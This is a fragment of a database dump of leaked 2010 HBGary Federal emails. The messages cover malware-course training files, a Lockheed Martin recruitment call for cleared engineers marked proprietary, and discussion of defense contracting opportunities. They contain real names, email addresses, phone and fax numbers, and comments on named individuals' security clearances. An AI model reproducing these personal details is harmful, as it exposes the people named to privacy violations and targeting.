<ted@hbgary.com>','/aaron@hbgary.com/new/1297006105.M858151P14101Q2709.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Commands_Cheat_Sheet.pdf, Malware_Sac_June1-4.pptx + 1 more item','Here&#39;s the training material from the basic malware course.Ted---------- Forwarded message ----------From:  &lt;jim@hbgary.com&gt;\r\nDate: Fri, May 14, 2010 at 1:05 PMSubject: Commands_Cheat_Sheet.pdf, Malware_Sac_June1-4.pptx + 1 more itemTo: ted@hbgary.com\r\n\r\n\r\nI&#39;ve shared some items with you\r\nMessage from jim@hbgary.com:\r\nTed and Mark,\r\nHere&#39;s the training materials. Keep in mind that these materials are pretty dynamic, and will likely be updated before the next training. I&#39;ll send you the slides after the next training in June, once the class is over and I&#39;ve gone through it and worked in any updates to it. \r\n\r\nJim\r\nClick to open:\r\nCommands_Cheat_Sheet.pdf\r\n Malware_Sac_June1-4.pptx \r\nMalware Analysis Student Lab Guide_June1-4_Sac\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n-- Ted H. Vera\r\nPresident | COOHBGary Federal719-237-8623\r\n\r\n',8521,'aaron_hbgary_com/8521.html'),(7855,'2010-06-28','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>','/aaron@hbgary.com/new/1297006106.M325026P14101Q2711.eml','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>,\"Staley, Ryan E\" <ryan.e.staley@lmco.com>','2nd Marathon Call for Resumes - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nLockheed Martin Proprietary Information\r\nProprietary information owned by Lockheed Martin that requires protection from unauthorized disclosure.  Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n\r\n\r\n\r\nDear\r\nUNO Subcontractors:\r\n\r\n1.&nbsp;&nbsp;&nbsp; 2nd Call Marathon Software\r\nDevelopers\r\n\r\nUNO has an immediate and\r\ncontinuing critical position requirement for Senior/Intermediate Software\r\nEngineer Candidates, to fill vacancies on Task Order Marathon.&nbsp; There\r\nis a critical need for Python, Advanced Python and C skilled candidates who are\r\nmore application development centered.&nbsp; If you feel that you have\r\ncandidates with the qualifications and expertise identified below, please\r\nadvise Ryan Staley (Ryan.E.Staley@lmco.com) and Jim Racz (James.M.Racz@lmco.com) via email.&nbsp; Please\r\ninclude Candidate names and time &amp; materials labor rates in that email.\r\nProvide classified resumes of proposed candidates only to Jim Racz via secure\r\nfax at 703-793-6576, and labor rates to Ryan Staley via email.\r\n\r\nAll position work will be\r\nperformed at the sponsor&#8217;s location in Chantilly, VA.&nbsp; Candidates\r\nmust already have the proper clearances (TS/ISSA) to work at a customer&#8217;s\r\nfacility.\r\n\r\nThe Period of Performance\r\nfor these rates shall cover&nbsp;6/14/2010\r\n&#8211; 6/13/2011.&nbsp; &nbsp;\r\n\r\nYour\r\nrates may follow your standard practice for period of performance, be it\r\ncalendar year or fiscal year. \r\n\r\n&nbsp;\r\n\r\n(Rate\r\nAbbreviation) - Title\r\n\r\n(SR\r\nSE) &#8211; Senior Software Engineer\r\n\r\n(IM\r\nSE) &#8211; Intermediate Software Engineer\r\n\r\n&nbsp;\r\n\r\nSenior\r\nis defined as Undergraduate/Graduate Degree (CS/CE) with/or (8) Eight or more\r\nyears of applied/practical experience related to the technical domain.\r\n\r\n&nbsp;\r\n\r\nIntermediate\r\nis defined as Undergraduate/Graduate Degree (CS/CE) with/or (4 to 6) Four to\r\nSix years of applied/practical experience related to the technical domain.\r\n\r\n&nbsp;\r\n\r\n**\r\nNote All previous candidate resumes submitted in response to previous and/or\r\nsimilar Task Order Marathon position Call for Resumes have been evaluated by\r\nthe Sponsor and deemed as not filling enough of the requirement\r\nqualifications.&nbsp; Please see the adder above caveating desired application\r\ndevelopment and stronger Python/Advanced Python, C skills.\r\n\r\n&nbsp;\r\n\r\n2.&nbsp;&nbsp;&nbsp;\r\nRequirements of the Senior &amp; Intermediate Software Engineer\r\nposition:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerforming\r\nC/C++, Python Programming (use of Visual Studio).\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDeveloping\r\nWindows Applications and services (driver experience desired).\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUnderstanding\r\nof technical issues surrounding the designing, building and testing of software\r\ndevelopment kits supporting Windows platforms and frameworks.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCoding\r\nexperience on Intel or AMD platforms\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSoftware\r\nconfiguration management.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerforming\r\nWindows (and some Macintosh) programming for 32-bit (and 64-bit) systems.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSoftware\r\nReverse Engineering.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUnderstanding\r\ncomputer, network hacker techniques and methodologies to include application\r\nand mitigation techniques.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUnderstanding\r\npublic exploits and awareness of new unpublished exploits.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nApplied\r\nknowledge/experience developing and testing applications on Windows and Linux\r\nsystems.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUnderstanding\r\nand experience using intrusion detection programs, firewalls and standard\r\noperating features such as Kaspersky, Norton/Symantec, McAfee, Zone Alarm and\r\nAVG-AV.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSoftware\r\narchitecture and API development.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\nRyan\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15128,'aaron_hbgary_com/15128.html'),(7856,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006106.M594432P14101Q2712.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: 2nd Marathon Call for Resumes - Lockheed Martin Proprietary Information','Damn. &nbsp;Do we know anyone? &nbsp;Has to be ISSA.Begin forwarded message:From: \"Staley, Ryan E\" &lt;ryan.e.staley@lmco.com&gt;Date: June 28, 2010 11:18:24 AM EDTTo: \"Staley, Ryan E\" &lt;ryan.e.staley@lmco.com&gt;Cc: \"Racz, James M\" &lt;james.m.racz@lmco.com&gt;Subject: 2nd Marathon Call for Resumes - Lockheed Martin Proprietary InformationLockheed Martin Proprietary Information&nbsp;Proprietary information owned by Lockheed Martin that requires protection from unauthorized disclosure. Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.&nbsp;.&nbsp;.&nbsp;.&nbsp;Message Start:&nbsp;-----------------------&nbsp;Dear UNO Subcontractors:1.&nbsp;&nbsp;&nbsp;&nbsp;2nd Call Marathon Software DevelopersUNO has an immediate and continuing critical position requirement for Senior/Intermediate Software Engineer Candidates, to fill vacancies on Task Order Marathon.&nbsp;&nbsp;There is a critical need for Python, Advanced Python and C skilled candidates who are more application development centered.&nbsp; If you feel that you have candidates with the qualifications and expertise identified below, please advise Ryan Staley (Ryan.E.Staley@lmco.com) and Jim Racz (James.M.Racz@lmco.com) via email.&nbsp; Please include Candidate names and time &amp; materials labor rates in that email. Provide classified resumes of proposed candidates only to Jim Racz via secure fax at 703-793-6576, and labor rates to Ryan Staley via email.All position work will be performed at the sponsor’s location in Chantilly, VA.&nbsp;&nbsp;Candidates must already have the proper clearances (TS/ISSA) to work at a customer’s facility.The Period of Performance for these rates shall cover&nbsp;6/14/2010 – 6/13/2011.&nbsp; &nbsp;Your rates may follow your standard practice for period of performance, be it calendar year or fiscal year.&nbsp;(Rate Abbreviation) - Title(SR SE) – Senior Software Engineer(IM SE) – Intermediate Software Engineer&nbsp;Senior is defined as Undergraduate/Graduate Degree (CS/CE) with/or (8) Eight or more years of applied/practical experience related to the technical domain.&nbsp;Intermediate is defined as Undergraduate/Graduate Degree (CS/CE) with/or (4 to 6) Four to Six years of applied/practical experience related to the technical domain.&nbsp;** Note All previous candidate resumes submitted in response to previous and/or similar Task Order Marathon position Call for Resumes have been evaluated by the Sponsor and deemed as not filling enough of the requirement qualifications.&nbsp; Please see the adder above caveating desired application development and stronger Python/Advanced Python, C skills.&nbsp;2.&nbsp;&nbsp;&nbsp;&nbsp;Requirements of the Senior &amp; Intermediate Software Engineer position:&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Performing C/C++, Python Programming (use of Visual Studio).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developing Windows Applications and services (driver experience desired).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Understanding of technical issues surrounding the designing, building and testing of software development kits supporting Windows platforms and frameworks.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Coding experience on Intel or AMD platforms·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Software configuration management.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Performing Windows (and some Macintosh) programming for 32-bit (and 64-bit) systems.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Software Reverse Engineering.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Understanding computer, network hacker techniques and methodologies to include application and mitigation techniques.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Understanding public exploits and awareness of new unpublished exploits.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Applied knowledge/experience developing and testing applications on Windows and Linux systems.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Understanding and experience using intrusion detection programs, firewalls and standard operating features such as Kaspersky, Norton/Symantec, McAfee, Zone Alarm and AVG-AV.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Software architecture and API development.&nbsp;&nbsp;Thank you,&nbsp;Ryan&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14713,'aaron_hbgary_com/14713.html'),(7857,'2010-06-28','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>','/aaron@hbgary.com/new/1297006106.M77126P14101Q2710.eml','\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Green, Mark P.\" <Mark.Green@gd-ais.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Green, Mark P.\" <Mark.Green@gd-ais.com>','RE: GatorBait','No idea what this is.  Ask Aaron where he saw the RFP.  Maybe we should look at it--perhaps Ryan knows about it.\r\n\r\nBill\r\n\r\n-----Original Message-----\r\nFrom: Wilson, Ben N. \r\nSent: Wednesday, June 23, 2010 12:15 PM\r\nTo: Green, Mark P.; Thompson, Bill M.; Spiller, John F.\r\nSubject: FW: GatorBait\r\n\r\nGreetings Mark, Bill and John,\r\n\r\nI have not heard about this, do we want to follow up?\r\n\r\nBen Wilson\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:adbarr@me.com] \r\nSent: Wednesday, June 23, 2010 6:42 AM\r\nTo: Wilson, Ben N.\r\nSubject: GatorBait\r\n\r\nAre you guys chasing this effort?  Its for the same customer as UNO.  If so who can I talk to about it?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n',15341,'aaron_hbgary_com/15341.html'),(7858,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006107.M1825P14101Q2713.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 2nd Marathon Call for Resumes - Lockheed Martin Proprietary 	Information','I don\'t.\r\n\r\nOn Mon, Jun 28, 2010 at 9:20 AM, Aaron Barr  wrote:\r\n> Damn.  Do we know anyone?  Has to be ISSA.\r\n>\r\n>\r\n> Begin forwarded message:\r\n>\r\n> From: \"Staley, Ryan E\" \r\n> Date: June 28, 2010 11:18:24 AM EDT\r\n> To: \"Staley, Ryan E\" \r\n> Cc: \"Racz, James M\" \r\n> Subject: 2nd Marathon Call for Resumes - Lockheed Martin Proprietary\r\n> Information\r\n>\r\n> Lockheed Martin Proprietary Information\r\n> Proprietary information owned by Lockheed Martin that requires protection\r\n> from unauthorized disclosure. Access is restricted to employees, and\r\n> authorized individuals who have executed nondisclosure agreements or who are\r\n> otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n>\r\n> .\r\n> .\r\n> .\r\n> Message Start:\r\n> -----------------------\r\n> Dear UNO Subcontractors:\r\n> 1.    2nd Call Marathon Software Developers\r\n> UNO has an immediate and continuing critical position requirement for\r\n> Senior/Intermediate Software Engineer Candidates, to fill vacancies on Task\r\n> Order Marathon.  There is a critical need for Python, Advanced Python and C\r\n> skilled candidates who are more application development centered.  If you\r\n> feel that you have candidates with the qualifications and expertise\r\n> identified below, please advise Ryan Staley (Ryan.E.Staley@lmco.com) and Jim\r\n> Racz (James.M.Racz@lmco.com) via email.  Please include Candidate names and\r\n> time & materials labor rates in that email. Provide classified resumes of\r\n> proposed candidates only to Jim Racz via secure fax at 703-793-6576, and\r\n> labor rates to Ryan Staley via email.\r\n> All position work will be performed at the sponsor’s location in Chantilly,\r\n> VA.  Candidates must already have the proper clearances (TS/ISSA) to work at\r\n> a customer’s facility.\r\n> The Period of Performance for these rates shall cover 6/14/2010 –\r\n> 6/13/2011.\r\n> Your rates may follow your standard practice for period of performance, be\r\n> it calendar year or fiscal year.\r\n>\r\n> (Rate Abbreviation) - Title\r\n> (SR SE) – Senior Software Engineer\r\n> (IM SE) – Intermediate Software Engineer\r\n>\r\n> Senior is defined as Undergraduate/Graduate Degree (CS/CE) with/or (8) Eight\r\n> or more years of applied/practical experience related to the technical\r\n> domain.\r\n>\r\n> Intermediate is defined as Undergraduate/Graduate Degree (CS/CE) with/or (4\r\n> to 6) Four to Six years of applied/practical experience related to the\r\n> technical domain.\r\n>\r\n> ** Note All previous candidate resumes submitted in response to previous\r\n> and/or similar Task Order Marathon position Call for Resumes have been\r\n> evaluated by the Sponsor and deemed as not filling enough of the requirement\r\n> qualifications.  Please see the adder above caveating desired application\r\n> development and stronger Python/Advanced Python, C skills.\r\n>\r\n> 2.    Requirements of the Senior & Intermediate Software Engineer position:\r\n>\r\n> ·         Performing C/C++, Python Programming (use of Visual Studio).\r\n> ·         Developing Windows Applications and services (driver experience\r\n> desired).\r\n> ·         Understanding of technical issues surrounding the designing,\r\n> building and testing of software development kits supporting Windows\r\n> platforms and frameworks.\r\n> ·         Coding experience on Intel or AMD platforms\r\n> ·         Software configuration management.\r\n> ·         Performing Windows (and some Macintosh) programming for 32-bit\r\n> (and 64-bit) systems.\r\n> ·         Software Reverse Engineering.\r\n> ·         Understanding computer, network hacker techniques and\r\n> methodologies to include application and mitigation techniques.\r\n> ·         Understanding public exploits and awareness of new unpublished\r\n> exploits.\r\n> ·         Applied knowledge/experience developing and testing applications\r\n> on Windows and Linux systems.\r\n> ·         Understanding and experience using intrusion detection programs,\r\n> firewalls and standard operating features such as Kaspersky,\r\n> Norton/Symantec, McAfee, Zone Alarm and AVG-AV.\r\n> ·         Software architecture and API development.\r\n>\r\n>\r\n> Thank you,\r\n>\r\n> Ryan\r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7036,'aaron_hbgary_com/7036.html'),(7859,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006111.M424005P14101Q2714.eml','\"Ted Vera\" <ted@hbgary.com>','Re: 2nd Marathon Call for Resumes - Lockheed Martin Proprietary  Information','A software developer from Romas that is cleared and might want to move?\r\n\r\n\r\nOn Jun 28, 2010, at 11:26 AM, Ted Vera wrote:\r\n\r\n> I don\'t.\r\n> \r\n> On Mon, Jun 28, 2010 at 9:20 AM, Aaron Barr  wrote:\r\n>> Damn.  Do we know anyone?  Has to be ISSA.\r\n>> \r\n>> \r\n>> Begin forwarded message:\r\n>> \r\n>> From: \"Staley, Ryan E\" \r\n>> Date: June 28, 2010 11:18:24 AM EDT\r\n>> To: \"Staley, Ryan E\" \r\n>> Cc: \"Racz, James M\" \r\n>> Subject: 2nd Marathon Call for Resumes - Lockheed Martin Proprietary\r\n>> Information\r\n>> \r\n>> Lockheed Martin Proprietary Information\r\n>> Proprietary information owned by Lockheed Martin that requires protection\r\n>> from unauthorized disclosure. Access is restricted to employees, and\r\n>> authorized individuals who have executed nondisclosure agreements or who are\r\n>> otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n>> \r\n>> .\r\n>> .\r\n>> .\r\n>> Message Start:\r\n>> -----------------------\r\n>> Dear UNO Subcontractors:\r\n>> 1.    2nd Call Marathon Software Developers\r\n>> UNO has an immediate and continuing critical position requirement for\r\n>> Senior/Intermediate Software Engineer Candidates, to fill vacancies on Task\r\n>> Order Marathon.  There is a critical need for Python, Advanced Python and C\r\n>> skilled candidates who are more application development centered.  If you\r\n>> feel that you have candidates with the qualifications and expertise\r\n>> identified below, please advise Ryan Staley (Ryan.E.Staley@lmco.com) and Jim\r\n>> Racz (James.M.Racz@lmco.com) via email.  Please include Candidate names and\r\n>> time & materials labor rates in that email. Provide classified resumes of\r\n>> proposed candidates only to Jim Racz via secure fax at 703-793-6576, and\r\n>> labor rates to Ryan Staley via email.\r\n>> All position work will be performed at the sponsor’s location in Chantilly,\r\n>> VA.  Candidates must already have the proper clearances (TS/ISSA) to work at\r\n>> a customer’s facility.\r\n>> The Period of Performance for these rates shall cover 6/14/2010 –\r\n>> 6/13/2011.\r\n>> Your rates may follow your standard practice for period of performance, be\r\n>> it calendar year or fiscal year.\r\n>> \r\n>> (Rate Abbreviation) - Title\r\n>> (SR SE) – Senior Software Engineer\r\n>> (IM SE) – Intermediate Software Engineer\r\n>> \r\n>> Senior is defined as Undergraduate/Graduate Degree (CS/CE) with/or (8) Eight\r\n>> or more years of applied/practical experience related to the technical\r\n>> domain.\r\n>> \r\n>> Intermediate is defined as Undergraduate/Graduate Degree (CS/CE) with/or (4\r\n>> to 6) Four to Six years of applied/practical experience related to the\r\n>> technical domain.\r\n>> \r\n>> ** Note All previous candidate resumes submitted in response to previous\r\n>> and/or similar Task Order Marathon position Call for Resumes have been\r\n>> evaluated by the Sponsor and deemed as not filling enough of the requirement\r\n>> qualifications.  Please see the adder above caveating desired application\r\n>> development and stronger Python/Advanced Python, C skills.\r\n>> \r\n>> 2.    Requirements of the Senior & Intermediate Software Engineer position:\r\n>> \r\n>> ·         Performing C/C++, Python Programming (use of Visual Studio).\r\n>> ·         Developing Windows Applications and services (driver experience\r\n>> desired).\r\n>> ·         Understanding of technical issues surrounding the designing,\r\n>> building and testing of software development kits supporting Windows\r\n>> platforms and frameworks.\r\n>> ·         Coding experience on Intel or AMD platforms\r\n>> ·         Software configuration management.\r\n>> ·         Performing Windows (and some Macintosh) programming for 32-bit\r\n>> (and 64-bit) systems.\r\n>> ·         Software Reverse Engineering.\r\n>> ·         Understanding computer, network hacker techniques and\r\n>> methodologies to include application and mitigation techniques.\r\n>> ·         Understanding public exploits and awareness of new unpublished\r\n>> exploits.\r\n>> ·         Applied knowledge/experience developing and testing applications\r\n>> on Windows and Linux systems.\r\n>> ·         Understanding and experience using intrusion detection programs,\r\n>> firewalls and standard operating features such as Kaspersky,\r\n>> Norton/Symantec, McAfee, Zone Alarm and AVG-AV.\r\n>> ·         Software architecture and API development.\r\n>> \r\n>> \r\n>> Thank you,\r\n>> \r\n>> Ryan\r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7068,'aaron_hbgary_com/7068.html'),(7860,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006111.M767678P14101Q2715.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com,\"Penny Leavy\" <penny@hbgary.com>','Fwd: got your voice mail','This doesn\'t sound promising for the Project B FW ipod port.  I\r\nexchanged a couple more emails with Bill, and he hopes to send me an\r\nupdate later today after he\'s spoke with the customer.  There could\r\nstill be hope for Projects I & P.  I\'ll let you know what I hear back.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Thompson, Bill M. \r\nDate: Mon, Jun 28, 2010 at 8:58 AM\r\nSubject: got your voice mail\r\nTo: Ted Vera \r\n\r\n\r\nHey Ted,\r\nJust got back from Africa-- no idea what’s going on.  I’ll call the\r\ncustomer and find out what the heck is going on.  Rumor has it they\r\nare pulling the plug on the entire 3 teams. No idea why.\r\nTalk to you soon or keep bugging me if I don’t get back to you.\r\nThanks,\r\nBill\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4039,'aaron_hbgary_com/4039.html'),(7861,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006112.M236850P14101Q2716.eml','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','Re: USINSCOM','Bob,\r\n\r\nI am meeting with Eric Eifert on the 7th @2pm.  Do you have some time to meet that day or do you want to set something up separately?  Based on the limited information I have received I definitely want to participate on GatorBait.  I have the attendee list from the meeting and based on my knowledge of companies capabilities and exposure to this customer I think ManTech, Mandiant, GD are in the best positions with this customer but might be missing 1 or 2.  This customer knows HBGary (mostly because Ted and I introduced them as a subcontractor) but the exposure is limited, however I think we could add significant value.\r\n\r\nAaron\r\n\r\nOn Jun 24, 2010, at 10:30 AM, Frisbie, Robert P wrote:\r\n\r\n> Turns out that I have some classified capabilities very close to what\r\n> you did in Colorado lab.\r\n> \r\n> We also have a opportunity called GaitorBait that may be something we\r\n> should talk about.\r\n> \r\n> Interested?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, June 24, 2010 9:27 AM\r\n> To: Frisbie, Robert P\r\n> Subject: USINSCOM\r\n> \r\n> Hi Bob,\r\n> \r\n> I have a meeting on Friday with the Chief of the Red Team and Blue Team\r\n> at INSCOM as a result of a briefing I did at NSA last week on New Media.\r\n> Turns out there is significant anxiety in DoD since a new directive was\r\n> signed a few months ago authorizing access to social/new media on .mil.\r\n> I am going to be talking to them about Incident Response, New Media and\r\n> its uses and vulnerabilities, IO.  I wasn\'t sure if you have any work in\r\n> that area again yet, but thought this might be of interest.\r\n> \r\n> I am starting to work on a curriculum to provide training to\r\n> organizations on new media familiarization, concerns, processes to\r\n> improve protection, etc.  Also looking into what type of solutions we\r\n> can build to help organizations.  New Media is something I know a little\r\n> about. ;)\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11343,'aaron_hbgary_com/11343.html'),(7862,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006112.M449028P14101Q2717.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark@hbgary.com','Re: 2nd Marathon Call for Resumes - Lockheed Martin Proprietary 	Information','Maybe Earnst, but he\'s only an ISA.  The only ones I know are ISSA cleared are:\r\n\r\nGeorge Schmick (moved to DC)\r\nDan Lindorf (yeah right)\r\nNick Salvadore (maybe?) although Nick has never done any of the \"Uno stuff\".\r\n\r\nTed\r\n\r\nOn Mon, Jun 28, 2010 at 9:27 AM, Aaron Barr  wrote:\r\n> A software developer from Romas that is cleared and might want to move?\r\n>\r\n>\r\n> On Jun 28, 2010, at 11:26 AM, Ted Vera wrote:\r\n>\r\n>> I don\'t.\r\n>>\r\n>> On Mon, Jun 28, 2010 at 9:20 AM, Aaron Barr  wrote:\r\n>>> Damn.  Do we know anyone?  Has to be ISSA.\r\n>>>\r\n>>>\r\n>>> Begin forwarded message:\r\n>>>\r\n>>> From: \"Staley, Ryan E\" \r\n>>> Date: June 28, 2010 11:18:24 AM EDT\r\n>>> To: \"Staley, Ryan E\" \r\n>>> Cc: \"Racz, James M\" \r\n>>> Subject: 2nd Marathon Call for Resumes - Lockheed Martin Proprietary\r\n>>> Information\r\n>>>\r\n>>> Lockheed Martin Proprietary Information\r\n>>> Proprietary information owned by Lockheed Martin that requires protection\r\n>>> from unauthorized disclosure. Access is restricted to employees, and\r\n>>> authorized individuals who have executed nondisclosure agreements or who are\r\n>>> otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n>>>\r\n>>> .\r\n>>> .\r\n>>> .\r\n>>> Message Start:\r\n>>> -----------------------\r\n>>> Dear UNO Subcontractors:\r\n>>> 1.    2nd Call Marathon Software Developers\r\n>>> UNO has an immediate and continuing critical position requirement for\r\n>>> Senior/Intermediate Software Engineer Candidates, to fill vacancies on Task\r\n>>> Order Marathon.  There is a critical need for Python, Advanced Python and C\r\n>>> skilled candidates who are more application development centered.  If you\r\n>>> feel that you have candidates with the qualifications and expertise\r\n>>> identified below, please advise Ryan Staley (Ryan.E.Staley@lmco.com) and Jim\r\n>>> Racz (James.M.Racz@lmco.com) via email.  Please include Candidate names and\r\n>>> time & materials labor rates in that email. Provide classified resumes of\r\n>>> proposed candidates only to Jim Racz via secure fax at 703-793-6576, and\r\n>>> labor rates to Ryan Staley via email.\r\n>>> All position work will be performed at the sponsor’s location in Chantilly,\r\n>>> VA.  Candidates must already have the proper clearances (TS/ISSA) to work at\r\n>>> a customer’s facility.\r\n>>> The Period of Performance for these rates shall cover 6/14/2010 –\r\n>>> 6/13/2011.\r\n>>> Your rates may follow your standard practice for period of performance, be\r\n>>> it calendar year or fiscal year.\r\n>>>\r\n>>> (Rate Abbreviation) - Title\r\n>>> (SR SE) – Senior Software Engineer\r\n>>> (IM SE) – Intermediate Software Engineer\r\n>>>\r\n>>> Senior is defined as Undergraduate/Graduate Degree (CS/CE) with/or (8) Eight\r\n>>> or more years of applied/practical experience related to the technical\r\n>>> domain.\r\n>>>\r\n>>> Intermediate is defined as Undergraduate/Graduate Degree (CS/CE) with/or (4\r\n>>> to 6) Four to Six years of applied/practical experience related to the\r\n>>> technical domain.\r\n>>>\r\n>>> ** Note All previous candidate resumes submitted in response to previous\r\n>>> and/or similar Task Order Marathon position Call for Resumes have been\r\n>>> evaluated by the Sponsor and deemed as not filling enough of the requirement\r\n>>> qualifications.  Please see the adder above caveating desired application\r\n>>> development and stronger Python/Advanced Python, C skills.\r\n>>>\r\n>>> 2.    Requirements of the Senior & Intermediate Software Engineer position:\r\n>>>\r\n>>> ·         Performing C/C++, Python Programming (use of Visual Studio).\r\n>>> ·         Developing Windows Applications and services (driver experience\r\n>>> desired).\r\n>>> ·         Understanding of technical issues surrounding the designing,\r\n>>> building and testing of software development kits supporting Windows\r\n>>> platforms and frameworks.\r\n>>> ·         Coding experience on Intel or AMD platforms\r\n>>> ·         Software configuration management.\r\n>>> ·         Performing Windows (and some Macintosh) programming for 32-bit\r\n>>> (and 64-bit) systems.\r\n>>> ·         Software Reverse Engineering.\r\n>>> ·         Understanding computer, network hacker techniques and\r\n>>> methodologies to include application and mitigation techniques.\r\n>>> ·         Understanding public exploits and awareness of new unpublished\r\n>>> exploits.\r\n>>> ·         Applied knowledge/experience developing and testing applications\r\n>>> on Windows and Linux systems.\r\n>>> ·         Understanding and experience using intrusion detection programs,\r\n>>> firewalls and standard operating features such as Kaspersky,\r\n>>> Norton/Symantec, McAfee, Zone Alarm and AVG-AV.\r\n>>> ·         Software architecture and API development.\r\n>>>\r\n>>>\r\n>>> Thank you,\r\n>>>\r\n>>> Ryan\r\n>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal 